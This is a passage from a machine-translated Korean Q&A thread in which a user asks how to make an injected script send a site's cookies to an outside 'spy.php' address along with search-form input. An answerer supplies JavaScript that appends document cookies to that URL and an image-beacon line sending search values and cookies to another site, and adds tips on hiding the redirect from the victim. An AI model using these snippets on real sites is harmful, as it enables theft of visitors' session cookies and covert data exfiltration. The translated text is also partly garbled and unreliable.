2013-03-01 1 views
0

내가 가지고 그것을 보내도록 내가 스크립트를 편집 할 수있는 방법은 주어진 URL쿠키와 자바 스크립트

<script type="text/javascript"> 
document.getElementById("search-form").action="http://scitua.wlv.ac.uk/~in1345/spy.php"; 
</script > 

에 (즉, 검색 양식의 ID를) 검색 폼에 입력 된대로 전송이 스크립트 문서 쿠키가 URL에 intedad?

+0

정확하게하고 싶은 것을 이해하고 있어야합니다 ... 현재 페이지 (도메인 xyz.com)에서 다른 도메인 (scitua.wlv.ac.uk)으로 쿠키를 보내려합니다. ? 이것으로 당신이 달성하고자하는 것은 무엇입니까? – TheZuck

+0

예 @ 내가 원하는 걸 Zuck입니다. 이러한 목적을 달성하기 위해 위의 스크립트를 어떻게 수정할 수 있습니까? – IBK

답변

0

원래 답 :

".../spy.php?param=" + encodeURIComponent(document.cookies); 


이 좋아, 당신은 두 가지 옵션이 있습니다 있도록 :

  1. 완전 스파이 사이트에 다시 첫 페이지로 스파이 사이트 리디렉션 사용자의 검색을 리디렉션 . 당신은 역사에서 스파이 사이트를 유지하고 싶지 않다면 자바 스크립트 location.replace을 통해 그것을 할 수 있습니다.
  2. 두 번째 방법은 더욱 정교합니다. 검색 양식 제출시 이처럼 쿠키를 설정하면 검색 양식을 제출하게됩니다. 검색 페이지에서 해당 쿠키를 확인하고 쿠키가 설정되어 있으면이를 읽고 삭제합니다. 좋아, 이제 값을 보내야합니다. 할 수있는 쉬운 방법은 다음과 같습니다

    new Image().src="your_site?search="+search_val"+"&cookies="+document.cookies; 
    

    것은 당신이 당신은 또한 정보를 직접 사용자가 검색 양식을 제출할 수있을 때 그러나 이것은 매우 데이터를 사용자에게 전송 될 때까지 사용자가 기다릴 것 때문에 의심 할 수있는 검색 페이지에 액세스를 havent 경우 .

+0

도움을 주셔서 대단히 감사합니다. 그러나 불행히도 스크립트가 여전히 작동하지 않습니다. ( – IBK

+0

@IBK 더 자세한 정보를 게시하지 않으면 알 수 없습니다. – Zaffy

+0

검색 양식이있는 웹 페이지가 있습니다. , 검색 양식에서 검색 한 내용은 "http://scitua.wlv.ac.uk/~in1345/spy.php"라는 URL로 전송됩니다. 같은 방식으로 원하는 것은 내가 무엇을 검색 할 때 첫 번째 웹 페이지의 검색 양식에서 문서 쿠키를 URL "http://scitua.wlv.ac.uk/~in1345/spy.php" – IBK